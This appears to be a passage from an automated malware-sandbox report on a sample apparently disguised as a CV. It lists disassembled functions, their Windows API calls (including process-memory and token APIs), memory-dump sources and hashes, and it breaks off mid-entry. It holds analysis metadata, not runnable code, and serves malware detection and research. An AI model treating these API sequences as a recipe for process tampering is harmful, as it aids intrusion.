                                                                          • Instruction Fuzzy Hash: 76012575C0862DEBCF10AFE8DC49AEEBB79FB0C711F084457E502B2250EB30965487A5
                                                                          Function 005C9ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CLSIDFromProgID.OLE32 ref: 005C9ADC
                                                                          • ProgIDFromCLSID.OLE32(?,00000000), ref: 005C9AF7
                                                                          • lstrcmpiW.KERNEL32(?,00000000), ref: 005C9B05
                                                                          • CoTaskMemFree.OLE32(00000000,?,00000000), ref: 005C9B15
                                                                          • CLSIDFromString.OLE32(?,?), ref: 005C9B21
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                          • String ID:
                                                                          • API String ID: 3897988419-0
                                                                          • Opcode ID: 2a73c9d8de8097c2ae85079c000d0dae8c8a2eccee206981cfc2d14469e11222
                                                                          • Instruction ID: fcdb0af8de90e5892b8f8b5de035baa78a4be3d596d4c3dfc6416b98380b820c
                                                                          • Opcode Fuzzy Hash: 2a73c9d8de8097c2ae85079c000d0dae8c8a2eccee206981cfc2d14469e11222
                                                                          • Instruction Fuzzy Hash: 77014B76600619BFDB114FA8ED48FAABFFEEB84756F188029F905D2210D774DD409BA0
                                                                          Function 005CAA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005CAA79
                                                                          • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005CAA83
                                                                          • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005CAA92
                                                                          • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005CAA99
                                                                          • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005CAAAF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                          • String ID:
                                                                          • API String ID: 44706859-0
                                                                          • Opcode ID: db6cb0f0b62608c502af77f4c88e7d6234395d42be5904eb70e42f35babc541d
                                                                          • Instruction ID: 4fb852ecbf808b2451ffdc890eea156a74d82313fbc2428532d1fa9465d88a24
                                                                          • Opcode Fuzzy Hash: db6cb0f0b62608c502af77f4c88e7d6234395d42be5904eb70e42f35babc541d
                                                                          • Instruction Fuzzy Hash: F1F04F752402187FEB115FE4AC89FAB3FADFF4A759F04441EF941C7190DAA09C41CA61
                                                                          Function 005CAAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 005CAADA
                                                                          • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 005CAAE4
                                                                          • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005CAAF3
                                                                          • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 005CAAFA
                                                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005CAB10
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                          • String ID:
                                                                          • API String ID: 44706859-0
                                                                          • Opcode ID: f1e54bcf97dfca466ce3833debd1b4c6f86edbe68eeac3edcf15d60766cfaa0f
                                                                          • Instruction ID: eb75d5c9fff0b807f032586583dde2571b4e62f90c35b17ccb547e9d31b1aa07
                                                                          • Opcode Fuzzy Hash: f1e54bcf97dfca466ce3833debd1b4c6f86edbe68eeac3edcf15d60766cfaa0f
                                                                          • Instruction Fuzzy Hash: 99F04F752402187FEB114FA4EC89FAB3F6EFF4A759F04402AFA41C7190CA609C018A61
                                                                          Function 005CEC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 005CEC94
                                                                          • GetWindowTextW.USER32(00000000,?,00000100), ref: 005CECAB
                                                                          • MessageBeep.USER32(00000000), ref: 005CECC3
                                                                          • KillTimer.USER32(?,0000040A), ref: 005CECDF
                                                                          • EndDialog.USER32(?,00000001), ref: 005CECF9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                          • String ID:
                                                                          • API String ID: 3741023627-0
                                                                          • Opcode ID: 138602b628020e30fa05f78133d202562d3833ef3e622806f32124467f967c76
                                                                          • Instruction ID: 42e641e57c95c293155f968c239a5e326f9f0a408176eec3daf7f7b94d85fb93
                                                                          • Opcode Fuzzy Hash: 138602b628020e30fa05f78133d202562d3833ef3e622806f32124467f967c76
                                                                          • Instruction Fuzzy Hash: 30016D30500715ABEB255B50DE5FFD67BB9BB10705F04555EA582A14E0DBF4AA448B80
                                                                          Function 005AB0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • EndPath.GDI32(?), ref: 005AB0BA
                                                                          • StrokeAndFillPath.GDI32(?,?,0060E680,00000000,?,?,?), ref: 005AB0D6
                                                                          • SelectObject.GDI32(?,00000000), ref: 005AB0E9
                                                                          • DeleteObject.GDI32 ref: 005AB0FC
                                                                          • StrokePath.GDI32(?), ref: 005AB117
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                          • String ID:
                                                                          • API String ID: 2625713937-0
                                                                          • Opcode ID: def112d2a33b70c6d3d44c0ee441dd1f62dc58b3a26589430aa4ca46034f9260
                                                                          • Instruction ID: 900173698905b4cbc38cf2ad19327af892c96d1c07c6fd1f47be125e334424f1
                                                                          • Opcode Fuzzy Hash: def112d2a33b70c6d3d44c0ee441dd1f62dc58b3a26589430aa4ca46034f9260
                                                                          • Instruction Fuzzy Hash: CDF0C934100745EFDB219F65EC0D7993FA6B712367F18A319E429890F1C7358A65DF60
                                                                          Function 005DF23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CoInitialize.OLE32(00000000), ref: 005DF2DA
                                                                          • CoCreateInstance.OLE32(0061DA7C,00000000,00000001,0061D8EC,?), ref: 005DF2F2
                                                                          • CoUninitialize.OLE32 ref: 005DF555
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateInitializeInstanceUninitialize
                                                                          • String ID: .lnk
                                                                          • API String ID: 948891078-24824748
                                                                          • Opcode ID: 5b206b07a7564379ac4a3c9c59ba74359e1f6e946421ac993bcc32fcea6cf73a
                                                                          • Instruction ID: 4f980fcdc36baf44a209d352ebbca3dfcf9a39ed9a138dfff3a616987720e361
                                                                          • Opcode Fuzzy Hash: 5b206b07a7564379ac4a3c9c59ba74359e1f6e946421ac993bcc32fcea6cf73a
                                                                          • Instruction Fuzzy Hash: 2BA13C71104202AFD700EF68C896DAFBBADFFD9714F00491DB15597292EB70E949CB62
                                                                          Function 005DE7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005953B1,?,?,005961FF,?,00000000,00000001,00000000), ref: 0059662F
                                                                          • CoInitialize.OLE32(00000000), ref: 005DE85D
                                                                          • CoCreateInstance.OLE32(0061DA7C,00000000,00000001,0061D8EC,?), ref: 005DE876
                                                                          • CoUninitialize.OLE32 ref: 005DE893
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                                          • String ID: .lnk
                                                                          • API String ID: 2126378814-24824748
                                                                          • Opcode ID: 77e8e73ec22a4b19db1358799bd07acba668cecb42e5a2a688daead4da89f53e
                                                                          • Instruction ID: 4bc6c56806c1e060654dba22e9d845abb1f8c742293f669cb1131f687e5123bc
                                                                          • Opcode Fuzzy Hash: 77e8e73ec22a4b19db1358799bd07acba668cecb42e5a2a688daead4da89f53e
                                                                          • Instruction Fuzzy Hash: A9A157356043029FCB10EF28C49995EBBE5FF88310F04895AF9969B3A1CB32EC45CB91
                                                                          Function 005B325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __startOneArgErrorHandling.LIBCMT ref: 005B32ED
                                                                            • Part of subcall function 005BE0D0: __87except.LIBCMT ref: 005BE10B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorHandling__87except__start
                                                                          • String ID: pow
                                                                          • API String ID: 2905807303-2276729525
                                                                          • Opcode ID: 97a0ab8a67ab81d73ae9a039548615aac4ffcb1b2316153f0f5aae418a51596c
                                                                          • Instruction ID: e5ed4fd87972ebdeeb0b5c324f4594c6da92ca6f00d86a101b371a4bff70ef93
                                                                          • Opcode Fuzzy Hash: 97a0ab8a67ab81d73ae9a039548615aac4ffcb1b2316153f0f5aae418a51596c
                                                                          • Instruction Fuzzy Hash: B8515975A0820296CB11B718C9473FAAFD4BB80710F388D28E496962A9DE34FDD9D642
                                                                          Function 005D4606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,0062DC50,?,0000000F,0000000C,00000016,0062DC50,?), ref: 005D4645
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • CharUpperBuffW.USER32(?,?,00000000,?), ref: 005D46C5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharUpper$__itow__swprintf
                                                                          • String ID: REMOVE$THIS
                                                                          • API String ID: 3797816924-776492005
                                                                          • Opcode ID: c81997c164ec42911f91a0f2c3cf7f0534a86a357601408a259dbc3cca8982eb
                                                                          • Instruction ID: 2812fa3c8e799fbfc5e9adba232ce45bbb1060f7ada44c0f6b0f40a1ce1c9f46
                                                                          • Opcode Fuzzy Hash: c81997c164ec42911f91a0f2c3cf7f0534a86a357601408a259dbc3cca8982eb
                                                                          • Instruction Fuzzy Hash: 57414F34A0025A9FCF10EF68C885AADBBB5FF85304F14845AE916AB351DB35DD46CF50
                                                                          Function 005CC189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005CBC08,?,?,00000034,00000800,?,00000034), ref: 005D4335
                                                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 005CC1D3
                                                                            • Part of subcall function 005D42D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005CBC37,?,?,00000800,?,00001073,00000000,?,?), ref: 005D4300
                                                                            • Part of subcall function 005D422F: GetWindowThreadProcessId.USER32(?,?), ref: 005D425A
                                                                            • Part of subcall function 005D422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,005CBBCC,00000034,?,?,00001004,00000000,00000000), ref: 005D426A
                                                                            • Part of subcall function 005D422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,005CBBCC,00000034,?,?,00001004,00000000,00000000), ref: 005D4280
                                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005CC240
                                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005CC28D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                          • String ID: @
                                                                          • API String ID: 4150878124-2766056989
                                                                          • Opcode ID: bc409b2a64e7c5d1ebb2a15aa8356ed27ca924a51ed3b057d2c3e0647eeaeef4
                                                                          • Instruction ID: 5896be712fbcde3594f58a447acf53db0e984c9c3800559ccb27d610e34bfef0
                                                                          • Opcode Fuzzy Hash: bc409b2a64e7c5d1ebb2a15aa8356ed27ca924a51ed3b057d2c3e0647eeaeef4
                                                                          • Instruction Fuzzy Hash: 60413F76900219BFDB10DF98CD85EEEBB78BB49300F04405AFA45B7181DA716E85CB61
                                                                          Function 005FA63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0062DC00,00000000,?,?,?,?), ref: 005FA6D8
                                                                          • GetWindowLongW.USER32 ref: 005FA6F5
                                                                          • SetWindowLongW.USER32(?,000000F0,00000000), ref: 005FA705
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Long
                                                                          • String ID: SysTreeView32
                                                                          • API String ID: 847901565-1698111956
                                                                          • Opcode ID: 6ca07ca1f66941aafd0236f4d3033c590b944b58351c8f86803ff8004c88d509
                                                                          • Instruction ID: d855520d7be59fb1c39ad446006b6fddad07a237c076bcb021612b6cbad679b6
                                                                          • Opcode Fuzzy Hash: 6ca07ca1f66941aafd0236f4d3033c590b944b58351c8f86803ff8004c88d509
                                                                          • Instruction Fuzzy Hash: 5631B07160120AAFDF119F38CC45BEA7BAAFB49364F284715F979D32E0C734A8508B91
                                                                          Function 005E5180 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005E5190
                                                                          • InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 005E51C6
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CrackInternet_memset
                                                                          • String ID: |$D^
                                                                          • API String ID: 1413715105-273463154
                                                                          • Opcode ID: ed34d56f4c2062ba1cf67ccdcf88f693d81c78bcfd6e4b0d8f08ec75e60c83f2
                                                                          • Instruction ID: aeaa7e068e33bcf95327efe115ca09f928f124cc104187cc3a9658ec5c028368
                                                                          • Opcode Fuzzy Hash: ed34d56f4c2062ba1cf67ccdcf88f693d81c78bcfd6e4b0d8f08ec75e60c83f2
                                                                          • Instruction Fuzzy Hash: AA312A75C0011AABCF05EFA5CC89AEEBFB9FF54704F004059F955A6166EB31A906CBA0
                                                                          Function 005FA0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 005FA15E
                                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 005FA172
                                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 005FA196
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Window
                                                                          • String ID: SysMonthCal32
                                                                          • API String ID: 2326795674-1439706946
                                                                          • Opcode ID: 733777cce3ba8c704cc08822389fa7442e8caaa597143cd3431f298ced5f8641
                                                                          • Instruction ID: 079e65b69bbb0fb3f1f5d51ff5412b6136c6fcbe6068863944ef91b44c4a6fae
                                                                          • Opcode Fuzzy Hash: 733777cce3ba8c704cc08822389fa7442e8caaa597143cd3431f298ced5f8641
                                                                          • Instruction Fuzzy Hash: 43218D72510218ABDF119FA4CC46FEA3F7AFF48714F110214FA596B1D0D7B5A851CBA1
                                                                          Function 005FA88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 005FA941
                                                                          • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 005FA94F
                                                                          • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 005FA956
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$DestroyWindow
                                                                          • String ID: msctls_updown32
                                                                          • API String ID: 4014797782-2298589950
                                                                          • Opcode ID: 4143b78d4ab614c5bd34f78ab62da045d5d9f3e44e41c75cb15b189c74da2925
                                                                          • Instruction ID: 8fc77cd377291a5881a10c3b1850e44f2a7faf9c7b86082c22dee876548e78d8
                                                                          • Opcode Fuzzy Hash: 4143b78d4ab614c5bd34f78ab62da045d5d9f3e44e41c75cb15b189c74da2925
                                                                          • Instruction Fuzzy Hash: 042162B5600209AFDB10DF18DC95DB73BAEFB5A394F050459FA089B261CB74EC11CB62
                                                                          Function 005F99A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 005F9A30
                                                                          • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 005F9A40
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 005F9A65
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
